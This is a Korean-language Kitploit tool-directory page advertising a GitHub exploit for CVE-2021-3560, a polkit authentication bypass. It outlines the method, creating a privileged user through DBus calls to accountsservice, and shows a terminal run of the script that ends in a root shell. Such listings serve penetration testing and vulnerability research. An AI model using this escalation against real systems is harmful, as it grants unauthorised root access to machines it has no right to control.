Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Polkit-exploit — polkit을 이용한 권한 상승 - CVE-2021-3560 | Kitploit
도구/GitHubGitHub/almorabea/polkit-exploit
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationPenetration TestingRed Teaming
GitHubalmorabea/polkit-exploit

Polkit-exploit

polkit을 이용한 권한 상승 - CVE-2021-3560

저장소 보기
126525년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Polkit-exploit - CVE-2021-3560

폴킷을 이용한 권한 상승 - CVE-2021-3560

요약

CVE-2021-3560은 polkit의 인증 우회 취약점으로, 권한이 없는 사용자가 DBus를 통해 권한 있는 메서드를 호출할 수 있게 합니다. 이 익스플로잇에서는 accountsservice가 제공하는 두 가지 권한 있는 메서드(CreateUser 및 SetPassword)를 호출하여, 권한 있는 사용자를 생성한 후 비밀번호를 설정하고, 마지막으로 생성된 사용자로 로그인한 후 root로 권한을 상승시킵니다.

익스플로잇 코드 작성자

Ahmad Almorabea @almorabea http://almorabea.net

사용법

root@kitploit:~
test@ubuntu:~/Desktop$ python3 CVE-2021-3560.py 
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse 
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit 
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root 
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/test/Desktop# whoami
root
root@ubuntu:/home/test/Desktop#

데모

GUI 인증


터미널 인증


크레딧

Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)

도구 다운로드